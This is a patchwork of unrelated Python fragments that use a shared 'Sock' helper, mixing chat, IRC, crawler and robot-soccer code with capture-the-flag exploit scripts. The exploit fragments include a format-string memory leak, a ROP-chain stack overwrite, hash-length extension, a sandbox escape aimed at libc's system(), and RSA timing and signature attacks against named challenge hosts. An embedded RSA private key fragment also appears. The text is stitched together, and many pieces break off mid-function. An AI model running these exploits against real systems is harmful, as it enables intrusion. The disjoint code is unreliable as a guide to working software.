def capturandoDados(self):
self.ip = self.entradaip.get()
self.porta = int(self.entradaporta.get())
self.sock = Sock(self.ip , self.porta)
self.sock.enviar("entrou na sala")
self.sock.start()
self.t1 = Thread(name='Atualizar lista', target=self.atualizarLista)
self.t1.start()
class MusicPipeline(object):
def __init__(self):
self.sock = Sock()
self.db = DB('music', 'postgres', 'dj')
def process_item(self, item, spider):
if len(self.db.query("""SELECT * FROM songs WHERE title=%s""", (item['title'], ))) == 0:
self.db.transaction(("""INSERT INTO songs (title, artist) VALUES (%s, %s)""",), ((item['title'],item['artist']),))
msg = item.type + '[*]' + item['title'] + '[*]' + item['download_link']
self.sock.send_msg(msg)
def decryptTime(bignum):
global f
try:
f.send(pack("<I", 0x41424344))
f.send(chr(0x80 | 0x01))
p = "".join(pack("<I", c) for c in bignum2ints(bignum))
assert len(p) == 0x60
f.send(p)
buf = "WWWWXXXXYYYYZZZZ"
f.send(chr(len(buf)))
f.send(buf)
b = f.read_nbytes(16)
assert b[12:] == "\x02\x00\xff\x00", b.encode("hex")
vals = unpack("<3I", b[:12])
# vals[0] - some rdtsc difference
# vals[1] - leaked number of reductions
# vals[2] - some rdtsc difference
return vals[1]
except EOFError:
print "EOF, retry"
f = Sock(addr)
return decryptTime(bignum)
class StopDownloaders(object):
def __init__(self):
self.sock = Sock()
dispatcher.connect(self.spider_opened, signal=signals.spider_opened)
dispatcher.connect(self.spider_closed, signal=signals.spider_closed)
def spider_opened(self, spider):
#log.msg("opened spider %s" % spider.name)
# print '[START TO CRAWL SONGS]'
colorful.printc('[START TO CRAWL SONGS]', 'WARNING')
def spider_closed(self, spider):
#log.msg("closed spider %s" % spider.name)
# print '[INFO GATHERING COMPLETE]'
colorful.printc('[INFO GATHERING COMPLETE]', 'WARNING')
self.sock.send_msg('TERMINATE[*]--[*]--')
def listen(self,
handler=lambda sock: None,
backlog=5,
verify_join=True,
verbose=True,
**kwargs):
"""Listen for new client trying to connect and accept them.
The handler argument is a callable that the first argument it takes is the socket of the accepted clients.
Other arguments can be passed through kwargs.
The default value of handler does nothing.
The backlog argument specifies the maximum number of queued connections and should be at least 0;
the maximum value is system-dependent (usually 5), the minimum value is forced to 0.
The verify_join argument specifies whether the function should
join all client threads once the server is closed or not."""
self._keep_listening = True
client_threads = []
sock = Sock()
sock.bind((self.ip, self.port))
sock.listen(backlog)
while self._keep_listening:
client_sock, client_addr = sock.accept()
Server.connect(client_sock)
_printif(verbose, "Connected to client @ %s" % client_addr[0])
client = threading.Thread(target=handler,
args=(client_sock, ),
kwargs=kwargs)
client_threads.append(client)
client.start()
if verify_join:
Server.join(timeout=None, *client_threads)
self._keep_listening = False
def test_http(self):
for host in self.HTTP_HOSTS:
f = Sock(host, 80)
f.send("GET / HTTP/1.1\r\n\r\n")
line = f.read_line().decode()
self.assertTrue(line.startswith("HTTP/1.1 "))
f.close()
def __init__(self, socket = None):
if (socket == None):
self.__socket = Sock("localhost", 3200, None, None)
self.__socket.start()
else:
self.__socket = socket
self.__root = tree_node.Tree_Node(0)
self.__naos_left = {}
self.__naos_right = {}
self.__idcount = 1
self.__nodes = [self.__root]
self.__ball_node = None
def test_http(self):
for host in self.HTTP_HOSTS:
f = Sock(host, 80)
f.send("GET / HTTP/1.1\r\n\r\n")
line = f.read_line()
self.assertTrue(line.startswith("HTTP/1.1 "))
f.close()
class Protocol(object):
def __init__(self, url, token):
self.url = url
self.token = token
self.sock = Sock(url)
self.reconnect()
def reconnect(self):
try:
self.sock.reconnect()
self.write_msg('login', {'token': self.token})
except socket.error:
log.warn(u"Reconnect failed ...")
except WebSocketException:
log.warn(u"Reconnect failed ...")
def write_error(self, mtype, message, code, query=None):
if not self.sock:
return
packet = {
'error': 1,
'data': {
'code': code,
'message': message,
},
'type': mtype,
}
if query:
packet['query'] = query
try:
self.sock.write(json.dumps(packet))
except socket.error:
self.reconnect()
except WebSocketException, e:
self.reconnect()
log.info(u"Connection error: %s", str(e))
def connect():
f = Sock("127.0.0.1", 2223)
f.read_until("21 bytes, starting with ")
prefix = f.read_nbytes(16)
#print prefix
prefix += "A"
i = 0
while True:
ha = sha1()
ha.update(prefix + pack("I", i))
if (ha.digest()[-3:] == "\xff\xff\xff"):
print "CDIGEST %s" % ha.hexdigest()
break
if i % 1048576 == 0:
print i
i += 1
f.send(prefix + pack("I", i))
return f
from sock import Sock
import random
import gmpy2
from Crypto.Util.number import inverse, long_to_bytes
def gcd(a, b):
while b:
a, b = b, a % b
return a
while True:
so = Sock('04.cr.yp.toc.tf:38010')
ct = [random.getrandbits(2000) for _ in range(2)]
pt = []
for i in range(2):
so.read_until(b'[Q]uit\n')
so.send_line(b'd')
so.read_line()
so.send_line(str(ct[i]).encode())
pt.append(int(so.read_line().strip().split(b' ')[-1]))
'''
for i in range(2):
so.read_until(b'[Q]uit\n')
so.send_line(b'e')
so.read_line()
so.send_line(str(pt[i]).encode())
assert int(so.read_line().strip().split(b' ')[-1]) in ct
'''
def monitor(queue):
TIME = 10
FUTURE = 0
URL = 'https://tmsbackend.herokuapp.com/traffic/'
headers = {
'Content-Type': 'application/json',
'X-Access-Id': '5d454a854fd9612631343699'
}
conn = Sock()
conn.connect()
conn.send("ON;TWO")
conn.disconnect()
watch = Watcher()
while True:
try:
end = time() + TIME + FUTURE
while time() <= end:
traffic = queue.get()
watch.update(traffic)
avg, award, FUTURE, active = watch.getStatus()
payload = {
'density': (avg['1a'][1]+avg['2a'][1])/2,
'count': int((avg['1a'][0]+avg['2a'][0])/2)
}
r = requests.put(URL, json=payload, headers=headers)
print("Changing status")
print(avg)
print("Award {} of {} against {}".format(award, FUTURE, active))
print("API response: ", r.content)
conn = Sock()
conn.connect()
if active[0] == '2a':
conn.send("ON;TWO")
else:
conn.send("ON;ONE")
conn.disconnect()
except Exception as e:
print(e)
pass
from sock import Sock
import hexdump
s = Sock('127.0.0.1', 1235)
s.read_until('>>')
s.send(('c' * 11) + '014c016b0300010000'.decode('hex') + '\r\n')
reply = s.read_until('>>')
print reply
from sock import Sock
while True:
data = input("Enter the command please: \n")
conn = Sock(ip="192.168.43.144")
conn.connect()
conn.send(data)
conn.disconnect()
print("Sent data: ", data)
# Overwrite SP to call into ROP chain
r += movh(r0, sp_addr / 256)
r += movl(r0, (sp_addr % 256) * 256)
r += xor(r8, r8)
r += xor(r8, r0)
r += xor(r1, r1)
r += xor(r2, r2)
r += movh(r1, 0)
r += movl(r1, rop_addr - 3)
r += stosb(r2, r1) # overwrite sp and call ROP chain
s = None
while not s:
try:
print "Connecting..."
s = Sock('127.0.0.1', 1235)
except:
time.sleep(1)
s.read_until('Loader> ')
s.read_until('Loader> ')
s.read_until('Loader> ')
s.send(r + '\n')
o = ''
o += s.read_until('Loader> ')
if o.startswith('\x1b[1;1H\x1b[2J\x1b[1;1H\x1b[2J'):
o = o[len('\x1b[1;1H\x1b[2J\x1b[1;1H\x1b[2J'):]
if o.endswith('Loader> '):
o = o[:-1 * len('Loader> ')]
dmp += o + '\x00'
hexdump.hexdump(dmp)
flag = 0
if bit:
x = (x * m0r)
x, flag = redc(x)
return x, flag
def mont_exp_one_round(x, m0r, bit):
x, flag = mont_mul_cond(x, m0r, bit)
x, flag = mont_square(x)
return x, flag
## Challenge specific
f = Sock(addr)
def bignum2ints(n):
res = []
for i in xrange(0x18):
res.append(n % 2**32)
n >>= 32
return res
def decryptTime(bignum):
global f
try:
f.send(pack("<I", 0x41424344))
f.send(chr(0x80 | 0x01))
from sock import Sock
import struct, hexdump
s = Sock('127.0.0.1', 1235)
addr = 0x100
while True:
d = s.read_until('[5] Restart\r\n')
if 'Amount of coupons left: 1' in d:
s.write("3" + '\r')
d = s.read_until('What would you like to drink?\r\n')
s.write('||%lx%lx%lx%lx%lx%lx%lx%lx(%s)||' + struct.pack("<H", addr) +
'||' + '\r')
d = s.read_line()[:-2]
d = d[d.find('(') + 1:]
d = d[:d.find(')||')] + '\x00'
print hex(addr)
hexdump.hexdump(d)
addr += len(d)
s.write('\r')
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from sage.all import *
from vw import *
from sock import Sock
f = Sock("beard-party.q.2019.volgactf.ru 7777")
while True:
f.read_until("format):")
f.read_line()
pts = []
block = []
for i in xrange(2**8):
pt = [V[i & 3](randint(0, 31)) for i in xrange(8)]
pts.append(pt)
msg = nums_to_str(pt)
block.append(msg)
block = "".join(block)
block = "".join(block.encode("base64").split())
f.send_line(block)
res = f.read_until("Enter")
res = res.decode("base64")
assert len(res) % 10 == 0
cts = [str_to_nums(res[i:i + 10]) for i in xrange(0, len(res) - 10, 10)]
assert len(pts) == len(cts)
num += bconserves_t(b, s, t)
return num == len(s)
def bexact(b, key):
for t in xrange(16):
if key[t] % b != (1 - t) % b:
return False
return True
def randvec():
return [random.randint(0, 31) for _ in xrange(16)]
f = Sock("202.120.7.220 1234")
# pow
# sha256(XXXX+JyZoJLkhS8Jhsoxi) == 6387c59e693c59880ff6458c048a089aac925573cd27d61dcce6e4049dac084d
# Give me XXXX:
alpha = string.ascii_letters + string.digits
suff, target = f.read_until_re(r"XXXX\+(\w+)\) == (\w{64})").groups()
print suff, target
for p in product(alpha, repeat=4):
p = "".join(p)
if sha256(p + suff).hexdigest() == target:
break
else:
print "FAIL"
quit()
print p
import os
from sock import Sock
s = Sock('127.0.0.1',1235)
digest = '96103df3b928d9edc5a103d690639c94628824f5'
data = 'cat.txt'
add = ':passwd'
print s.read_until('>> ')
for l in range(1,256):
d = os.popen('hashpump -s %s -d "%s" -a %s -k %s' % (digest, data, add, l)).read()
h = d.split('\n')[0]
v = d.split('\n')[1]
v = v.decode('string_escape')
r = h + '#' + v
s.send(r + '\r\n')
reply = s.read_until('>> ')
if 'FLAG' in reply:
print l
print reply
exit()
#!/usr/bin/python
import sys, time, os
from multiprocessing import Process, Queue
from sklearn.externals import joblib
from sklearn.tree import DecisionTreeClassifier
from datetime import datetime
from storage import Storage
from sock import Sock
from config import config
sock = Sock({
"port_in": config['detector_1']['port'],
"port_out": config['detector_2']['port'],
"ip_in": config['detector_1']['ip'],
"ip_out": config['detector_1']['ip']
})
storage = Storage(config["database"])
ATTACK_THRESHOLD = 2
attack_count = 0
model = None
# auto loading fresh model
def get_model():
global model
if not os.path.isfile(config['teacher']['lock_filename']):
model = joblib.load("models_binary/all.pkl")
def get_str_addr_by_name(name):
r = get_expr("().__class__.__bases__[0].__repr__(%s)" % name_to_expr(name))
if "str object at " not in r:
raise Exception()
return int(r.split()[3][2:-1], 16) + PADDSTR
def get_tuple_addr_by_name(name):
r = get_expr("().__class__.__bases__[0].__repr__(%s)" % name_to_expr(name))
if "tuple object at " not in r:
raise Exception()
return int(r.split()[3][2:-1], 16) + PADDSTR
if 0: # remote
f = Sock("54.196.37.47 9990", timeout=9999)
v_index = 102
sys_off = 0x3ff80
else:
f = Sock("127.0.0.1 9990", timeout=9999)
v_index = 108
sys_off = 0x463d0
PADDSTR = 36
f.read_one()
maps = read_file("/proc/self/maps")
line = re.findall(r"(.*?)-.*? /lib/x86_64-linux-gnu/libc-", maps)
libc = int(line[0], 16)
system = libc + sys_off
def __init__(self, url, token):
self.url = url
self.token = token
self.sock = Sock(url)
self.reconnect()
from multiprocessing import Process, Queue
import datetime
import json
from decision_maker import DecisionMaker
from storage import Storage
from sock import Sock
from config import config
decision_maker = DecisionMaker(config['database'])
sock = Sock({
"port_in": config['detector_2']['port'],
"port_out": config['judge_service']['port'],
"ip_in": config['detector_2']['ip'],
"ip_out": config['judge_service']['ip']
})
# listening socket
def process_socket(q):
r = sock.socket_r()
while True:
pkg = sock.get_package(r)
#print pkg
time1 = datetime.datetime.now()
print 'received', time1
q.put((pkg, time1))
# make decision by data
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, time, os, datetime, json
from multiprocessing import Process, Queue
from tinterval import TimeInterval
from firewall import Firewall
from sock import Sock
import config
sock = Sock({
"port_in": config.config['firewall']['port'],
"ip_in": config.config['firewall']['ip'],
})
firewall = Firewall()
# looking for dead rules by life_time in DB
def process_warden():
# update tables by life_time
fw = Firewall()
removed = fw.refresh()
if len(removed) > 0:
print removed
fw.close_connection()
#!/usr/bin/python
import json
from sock import Sock
sock = Sock({
"port_out": 6350,
"ip_out": "127.0.0.1",
})
def send_json(data):
s = sock.socket_s()
s.send(json.dumps(data))
s.close()
if __name__ == "__main__":
data = [
{
't': 'range',
'ip': '1.1.1.1',
'bad_ports': [1, 4],
'good_ports': [1, 2, 3],
'timeout': 1,
'is_inner': True
}, # close ports range on IP address
{
't': 'list',
'ip': '1.2.1.1',
d15/Na/y8z5gf5Hfz+tSiJ0L+o7NOZ5D2tx+1eLJlM0oGLKduwpeffTCZl6oSBTfOxANB0Zuh87Q
OLGX7+ScVGe3AJ4mj488BAHg/a7MOeuVJNUCXRMWs1CSrylXM+IbaRGIvFuyQvHAuhx9usMscgeH
aaGBVTUp4RoGxMFwqOX+1g9EVV8Nua+AnAk5WfqUzxKmEo6t6lKb+csD4voaeKZZE7IeEKLHhdl0
Bir/nMW/lQIBAAIBAAIBAAIBAAIBAA==
-----END RSA PRIVATE KEY-----"""
]
#print pub_enc.encrypt(4,None)
pk = [str(key.__getstate__()[x]) for x in key.keydata[:-1]]
pk_str = ",".join(pk)
#crypto = pub_enc.encrypt(pk_str, None)
#maxlen = (len(str(hex((_pub_enc.__getstate__())["n"])))-3)/2
#print maxlen
bla = ",".join(
[pub_enc.encrypt(c).encode("hex") for c in chunks(pk_str, 64)])
s = Sock("52.6.11.111", 4321)
s.read_until("communications\n")
s.send(bla)
returnv = s.read_until("\n").split(" (")[1].split("), ")[0]
f = dict(key.__getstate__())
del f["x"]
#print f
assert str(f) == returnv
print s.read_until("\n")
print s.read_until("\n")
print "..."
while 1:
line = s.read_until("\n").strip()
print line
if "shit" in line:
class IrcClient:
sock = None
console = NonBlockConsole()
host = ''
port = -1
username = ''
password = ''
channel = ''
#
def __init__(self, host, port, username, password):
self.host = host
self.port = port
self.username = username
self.password = password
self.sock = Sock(host = host, port = port)
def get_response(self):
return self.sock.receive()
def join_chann(self, chan):
if self.channel != '':
self.leave_chann();
self.sock.deliver("JOIN #{1}\r\n".format(self.username, chan))
self.channel = chan
def privmsg(self, msg):
self.sock.deliver('PRIVMSG #{} :{}\r\n'.format(self.channel, msg))
def take_input(self):
values = self.console.get_commands()
for key in values:
if key == "quit":
return 1
if key == "send password":
self.send_password()
if key == "send username":
self.send_username()
if key == "send":
self.sock.deliver(values[key][0])
if key == "msg":
self.privmsg(values[key][0])
if key == "join":
self.join_chann(values[key][0])
if key == "pong":
self.send_pong(values[key][0])
if key == "enable membership":
self.enable_membership()
def shutdown(self):
self.leave_chann()
self.sock.end_con()
#
def send_pong(self, msg):
self.sock.deliver('PONG :{}\r\n'.format(msg))
def send_username(self):
self.sock.deliver('NICK {}\r\n'.format(self.username))
def send_password(self):
self.sock.deliver('PASS {}\r\n'.format(self.password))
def enable_membership(self):
self.sock.deliver('CAP REQ :twitch.tv/membership\r\n')
def leave_chann(self):
self.sock.deliver('PART #{}\r\n'.format(self.channel))
def funcSave(self):
str1 = self.textEdit.get(1.0, tk.END)
connect = Sock()
if len(str1) >= 512:
while len(str1) >= 512:
str2 = str1[0:512]
str1 = str1[512:]
connect.load_message(
Message(type='2',
is_end='6',
user_name=self.username,
head='ddktest',
content=str2))
connect.send_message(wait=False)
else:
connect.load_message(
Message(type='2',
is_end='6',
user_name=self.username,
head='ddktest',
content=str1))
connect.send_message(wait=False)
str2 = ''
connect.load_message(
Message(type='2',
is_end='5',
user_name=self.username,
head='ddktest',
content=str2))
if connect.send_message():
self.__logger.somewhere_info("send message success")
else:
self.__logger.somewhere_warning("send message failed!")
def __init__(self, host, port, username, password):
self.host = host
self.port = port
self.username = username
self.password = password
self.sock = Sock(host = host, port = port)
from sock import Sock
so = Sock('05.cr.yp.toc.tf:14010')
so.read_until(b'[Q]uit\n')
so.send_line(b'g')
n, f, v = so.read_line().strip().split(b' ')[-3:]
n, f, v = int(n[1:-1]), int(f[:-1]), int(v[:-1])
so.read_until(b'[Q]uit\n')
so.send_line(b't')
so.read_line()
so.send_line(b'15')
print(so.read_line())
so.read_until(b'[Q]uit\n')
so.send_line(b't')
so.read_line()
so.send_line(str(-15 + n**2).encode())
print(so.read_line())
so.read_until(b'[Q]uit\n')
so.send_line(b'r')
so.read_line()
so.send_line(b'15,' + str(-15 + n**2).encode())
print(so.read_line())
so.close()
def __init__(self):
self.sock = Sock()
dispatcher.connect(self.spider_opened, signal=signals.spider_opened)
dispatcher.connect(self.spider_closed, signal=signals.spider_closed)
def get_offset():
out = subprocess.check_output(["readelf", "-a", binf])
# print out
vtloc = int(re.findall("^.*?:.*?([0-9a-fA-F]+).*"+obj+".*$",
out, flags=re.M)[0],16) + 0x10
data = re.findall(r"^.*\.data\.rel\.ro +PROGBITS.*?([0-9a-fA-F]+).*$", out, re.M)[0]
data = int(data,16)
# we want the first pointer in the vtable
# to be read_note_from_file which is the 5th pointer in the pointer array
# add 0x20 to account for this
data += 0x20
print hex(vtloc), hex(data)
return data - vtloc
OFFSET = get_offset()
so = Sock(*TARGET)
def print_all(pri=False):
global entirety
z = so.read_one()
if pri:
print z
entirety += z
def do_send(x, pri=False):
# print repr(x)
so.send(x)
print_all(pri)
print_all()
class InterfaceGrafica(Frame,Thread):
def __init__(self,master):
Frame.__init__(self)
Thread.__init__(self)
self.font = ("Arial","12")
self.pack(expand=YES, fill=BOTH)
self.primeiroFrame = Frame(master)
self.primeiroFrame['padx']= 20
self.primeiroFrame['pady'] = 5
self.primeiroFrame.pack()
self.titulo = Label(self.primeiroFrame, text="Chat")
self.titulo.pack()
#Criando o campo de texto e o label do ip
self.frameip = Frame(master)
self.frameip.pack()
self.campoip = Label(self.frameip,text="Digite o IP: ")
self.campoip.pack(side=LEFT)
self.entradaip = Entry(self.frameip)
self.entradaip.insert(INSERT,"224.3.1.1")
self.entradaip['width'] = 20
self.entradaip.pack(side=LEFT)
#criando o campo de texto da porta
self.frameporta = Frame(master)
self.frameporta.pack()
self.campoporta = Label(self.frameporta, text="Digite a porta: ")
self.campoporta.pack(side=LEFT)
self.entradaporta= Entry(self.frameporta)
self.entradaporta.insert(INSERT,"10000")
self.entradaporta['width'] = 20
self.entradaporta.pack(side=LEFT)
# criando o campo para digitar o nome
self.framenome = Frame(master)
self.framenome.pack()
self.camponome = Label(self.framenome, text="Digite seu nome : ")
self.camponome.pack(side=LEFT)
self.entradanome= Entry(self.framenome)
self.entradanome['width'] = 20
self.entradanome.pack(side=LEFT)
#criando o botão entrar
self.framebutton =Frame(master)
self.framebutton.pack()
self.entrar = Button(self.framebutton)
self.entrar['text'] = "entrar"
self.entrar['width'] = 12
self.entrar['command'] = self.capturandoDados
self.entrar.pack(side=LEFT)
#criando o botão sair
#self.framebutton = Frame(master)
#self.framebutton.pack()
self.sair = Button(self.framebutton)
self.sair['text'] = "sair"
self.sair['width'] = 12
self.sair['command'] = self.sairSock
self.sair.pack(side=RIGHT)
# criando o campo de texto para enviar a msg
self.framemsg = Frame(master)
self.framemsg.pack()
self.campomsg = Label(self.framemsg, text="Digite a menssagem ")
self.campomsg.pack(side=LEFT)
self.entradamsg = Entry(self.framemsg)
self.entradamsg['width'] = 20
self.entradamsg.pack(side=LEFT)
#criando o botão para enviar a menssagem
self.framebuttonMsg = Frame(master)
self.framebuttonMsg.pack()
self.enviar = Button(self.framebuttonMsg)
self.enviar['text'] = "enviar"
self.enviar['width'] = 12
self.enviar['command'] = self.enviarMsg
self.enviar.pack()
# lista das respostas das msgs
self.scrollbar = Scrollbar(master)
self.scrollbar.set(100,100)
self.scrollbar.pack(side=RIGHT, fill=Y)
#self.scrollbar.config(width=50)
self.lista = Listbox(master, yscrollcommand=self.scrollbar.set)
self.lista.pack(side=LEFT, fill=BOTH)
self.lista.config(width=80)
self.msg =""
self.porta=0
self.ip=""
#criando a lista
def capturandoDados(self):
self.ip = self.entradaip.get()
self.porta = int(self.entradaporta.get())
self.sock = Sock(self.ip , self.porta)
self.sock.enviar("entrou na sala")
self.sock.start()
self.t1 = Thread(name='Atualizar lista', target=self.atualizarLista)
self.t1.start()
def atualizarLista(self):
while True:
self.sock.receber()
#if (self.sock.data ==" "):
# self.lista.insert(0, "%s porta: %s Entrou.." % (self.sock.host, self.sock.myPort))
#if self.sock.address != "":
endereco, porta = self.sock.address
data = self.sock.data
print("recebendo dados")
print(data)
data = data.decode()
self.lista.insert(0, "%s : %s " % (self.entradanome.get(),data))
#print("É vdd este bilhete")
def enviarMsg(self):
msg = "diz "+self.entradamsg.get()
if msg != "":
self.sock.enviar(msg)
def sairSock(self):
self.sock.enviar(" saindo da sala ")
#self.sock.enviar("saindo..")
self.t1
self.sock.sair()
class Scene:
#initializes the root of the sceneGraph, empty dictionariies for the Naos and a socket that connects to the server
def __init__(self, socket = None):
if (socket == None):
self.__socket = Sock("localhost", 3200, None, None)
self.__socket.start()
else:
self.__socket = socket
self.__root = tree_node.Tree_Node(0)
self.__naos_left = {}
self.__naos_right = {}
self.__idcount = 1
self.__nodes = [self.__root]
self.__ball_node = None
#creates and maintains the scenegraph in a loop. Not to be used by the agent, just on stand alone usage (eg. for analyzing)
def start(self):
msg = self.__socket.receive()
data = parser.parse_sexp(msg)
#print(data)
self.createScene(data)
while True:
msg = self.__socket.receive()
data = parser.parse_sexp(msg)
self.updateScene(data)
#print(data)
#should be called by the agent before it calls get_position.
#receives one scene graph message and either creates a new scene graph or updates an existing one.
def run_cycle(self, data = None):
if (data == None):
msg = self.__socket.receive()
data = parser.parse_sexp(msg)
header = data[1]
if (header[0] == "RSG"):
self.__root = tree_node.Tree_Node(0)
self.__naos_left = {}
self.__naos_right = {}
self.__idcount = 1
self.__nodes = [self.__root]
self.__ball_node = None
self.create_scene(data)
if (header[0] == "RDS"):
#print("monitor:" + str(data[0][0][1]))
self.update_scene(data)
#creates a completely new sceneGraph. Should be called if the server sends (RSG 0 1)
def create_scene(self, msg):
header = msg[1]
graph = msg[2]
if (header[0] != "RSG"):
print("Error: Message doesn't contain a complete scene graph")
return
if (header[1] != 0 | header[2] != 1):
print("Wrong scene graph version")
return
self.seek_children(self.__root, graph)
return
# seeks the children of a node and appends them to it. msg should contain all the child-nodes like:
# [ [nd, [nd]], [nd] , [nd, [nd, [nd]]] ] (showing just the structure, information is missing)
def seek_children(self, node, msg):
for element in msg:
#print("Rufe fuer " + str(node.getId()) + " einen " + str(element[1]) + " Knoten")
node.append(self.create_node(element))
return
# decides which node to create reading the given message. msg should look like:
# [nd, TRF, [SLT, nx, ny, nz, 0, ox, oy, oz, 0, ax, ay, az, 0, Px, Py, Pz, 1] ]
def create_node(self, msg):
if(msg[0] != "nd"):
print("Error: Message doesn't contain a node")
return None
if(msg[1] == "TRF"):
node = self.create_trans_node(msg[2])
if (len(msg) > 3):
#print(str(node.getId()) + " hat noch Kinderknoten...")
self.seek_children(node, msg[3:])
if(msg[1] == "Light"):
node = self.create_light_node(msg[2:])
if(msg[1] == "SMN"):
node = self.create_smn_node(msg[2:])
if(msg[1] == "StaticMesh"):
node = self.create_static_mesh_node(msg[2:])
return node
# creates a transformation node. msg should be a list containing the transformation matrix like:
# [SLT, nx, ny, nz, 0, ox, oy, oz, 0, ax, ay, az, 0, Px, Py, Pz, 1]
def create_trans_node(self,msg):
if(msg[0] != "SLT"):
print("Error: Not a transformation node")
return None
matrix = numpy.array( ((msg[1],msg[5],msg[9],msg[13]),
(msg[2],msg[6],msg[10],msg[14]),
(msg[3],msg[7],msg[11],msg[15]),
(msg[4],msg[8],msg[12],msg[16])) )
node = trans_node.Trans_Node(self.__idcount, matrix)
self.__nodes.append(node)
self.__idcount += 1
return node
# creates a light node. msg should be a list containing lists full of information concerning the node like:
# [ [setDiffuse, x, y, z, w], [setAmbient, x, y, z, w], [setSpecular, x, y, z, w] ]
def create_light_node(self,msg):
if((msg[0][0] != "setDiffuse") | (msg[1][0] != "setAmbient") | (msg[2][0] != "setSpecular")):
print("Error: Not a light node")
return None
diffuse = numpy.array([msg[0][1],msg[0][2],msg[0][3],msg[0][4]])
ambient = numpy.array([msg[1][1],msg[1][2],msg[1][3],msg[1][4]])
specular = numpy.array([msg[2][1],msg[2][2],msg[2][3],msg[2][4]])
node = light_node.Light_Node(self.__idcount,diffuse,ambient,specular)
self.__nodes.append(node)
self.__idcount += 1
return node
# creates a smn node. msg should be a list containing lists full of information concerning the node like:
# [ [load, StdUnitBox], [sSc, 1, 31, ], [sMat, matGrey] ]
def create_smn_node(self,msg):
transparent = None
visible = None
for element in msg:
if (element[0] == "load"):
load = element[1:]
if (element[0] == "sSc"):
sSc = element [1:]
if (element[0] == "sMat"):
sMat = element[1]
if (element[0] == "setTransparent"):
transparent = 1
if (element[0] == "setVisible"):
visible = element[1]
node = smn_node.Smn_Node(self.__idcount, load, sSc, visible, transparent, sMat)
self.__nodes.append(node)
self.__idcount += 1
return node
# creates a static mesh node. msg should be a list containing lists full of information concerning the node like:
# [ [load, models/rlowerarm.obj], [sSc, 0.05, 0.05, 0.05], [resetMaterials, matLeft, naowhite] ]
def create_static_mesh_node(self,msg):
transparent = None
visible = None
for element in msg:
if (element[0] == "load"):
load = element[1]
if (element[0] == "sSc"):
sSc = element [1:]
if (element[0] == "resetMaterials"):
reset = element[1:]
if (element[0] == "setTransparent"):
transparent = 1
if (element[0] == "setVisible"):
visible = element[1]
node = stat_mesh_node.Stat_Mesh_Node(self.__idcount, load, sSc, visible, transparent, reset)
self.__nodes.append(node)
self.__idcount += 1
if (load == "models/naobody.obj"):
if(reset[1] == "matLeft"):
self.__naos_left[reset[0]] = node
if(reset[1] == "matRight"):
self.__naos_right[reset[0]] = node
if(load == "models/soccerball.obj"):
self.__ball_node = node
return node
# updates the sceneGraph. Should be called if the server sends (RDS 0 1)
def update_scene(self, msg):
header = msg[1]
graph = msg[2]
if (header[0] != "RDS"):
print("Error: Message doesn't a contain partial scene graph")
return
if (header[1] != 0 | header[2] != 1):
print("Wrong scene graph version")
return
idcount = self.__idcount
self.__idcount = 0
self.update_children(graph)
self.__idcount += 1
return
# iterates through a list of nodes and updates them if necessary
def update_children(self, msg):
for element in msg:
if (element[0] == "nd"):
self.__idcount += 1
if(len(element) > 1):
if((element[1] == "StaticMesh") | (element[1] == "SMN")):
self.update_children(element[2:])
else:
self.update_children(element[1:])
if (element[0] == "SLT"):
matrix = numpy.array( ((element[1],element[5],element[9],element[13]),
(element[2],element[6],element[10],element[14]),
(element[3],element[7],element[11],element[15]),
(element[4],element[8],element[12],element[16])) )
self.__nodes[self.__idcount].set_matrix(matrix)
# returns a matrix containing the position and orientation of the nao with id naoID of one team.
# team needs to be either "left" or "right"
# NaoID needs to be the number of the nao (the one that is printed on his back)
# calculates the position by multiplying the transformation matrixes from the root down to the nao
def get_position(self, team, naoID):
key = "matNum" + str(naoID)
if(team == "left"):
if (self.__naos_left.has_key(key)):
nao = self.__naos_left[key]
else:
return None
elif(team == "right"):
if (self.__naos_right.has_key(key)):
nao = self.__naos_right[key]
else:
return None
else:
return None
result = self.calc_position(nao)
return result
# returns a list containing the position and orientation of the nao with id naoID of one team.
# team needs to be either "left" or "right"
# NaoID needs to be the number of the nao (the one that is printed on his back)
def get_position_xy(self, team, naoID):
result = self.get_position(team, naoID)
if(result != None):
return [result[0][3],result[1][3]]
else:
return None
# returns the xy-coordinates of the current position of the ball on the pitch
def get_ball_position(self):
if (self.__ball_node):
result = self.calc_position(self.__ball_node)
else:
return None
return [result[0][3],result[1][3]]
# IS CALLED BY get_position methods, YOU DON'T NEED to call it on your own!
# Use get_position(team, player_id) or get_position_xy(team, player_id) to get a nao's position
# and get_ball_position() to get the ball's position instead
# calculates the position of a mobile entity by multiplying the transformation matrixes from the root down to the given node
def calc_position(self, node):
parent = node.get_parent()
matrices = []
while (parent != self.__root):
matrices.append(parent.get_matrix())
parent = parent.get_parent()
result = matrices.pop()
while (len(matrices) > 0):
result = numpy.dot(result, matrices.pop())
return result
# returns the dictionary containing the nao id : node id pairs of the left team
def get_naos_left(self):
return self.__naos_left
# returns the dictionary containing the nao id : node id pairs of the right team
def get_naos_right(self):
return self.__naos_right
# find node with id
def find_node(self, node_id):
#for node in self.__nodes:
# if node.get_id() == node_id:
if(self.__nodes[node_id]):
return self.__nodes[node_id]
print 'Node not found'
# returns the socket that is used to receive data
def get_socket(self):
return self.__socket
class Client(TCP):
"""An object that makes it easier to use the protocol to communicate with the server."""
def __init__(self, (ip, port)):
"""(ip, port) is the ip and port combination you would pass to socket.bind.."""
self.sock = Sock()
super(Client, self).__init__((ip, port))
import ast
from sock import Sock
from libnum import *
N = 172794691472052891606123026873804908828041669691609575879218839103312725575539274510146072314972595103514205266417760425399021924101213043476074946787797027000946594352073829975780001500365774553488470967261307428366461433441594196630494834260653022238045540839300190444686046016894356383749066966416917513737
E = 0x10001
sig_correct = 22611972523744021864587913335128267927131958989869436027132656215690137049354670157725347739806657939727131080334523442608301044203758495053729468914668456929675330095440863887793747492226635650004672037267053895026217814873840360359669071507380945368109861731705751166864109227011643600107409036145468092331
C = int(open("flag.enc").read())
f = Sock("crypto.chal.csaw.io 8002")
f.send_line("2")
f.read_until("no")
def sign(val):
f.send_line("yes")
f.send_line("%d" % val)
sig, mod = map(int,
f.read_until_re(r"signature:(\d+), N:(\d+)\s").groups())
assert mod == N
return sig
try:
bits, vals = ast.literal_eval(open("dump").read())
except:
bits, vals = {}, []
vals = set(vals)
print len(bits), "known bits"
num = 2
def __init__(self):
self.sock = Sock()
self.db = DB('music', 'postgres', 'dj')
dll = ctypes.cdll.LoadLibrary("./fast.so")
def extend(data, hash, append, length=16):
# when we know hash - we use hash_extender for more flexibility
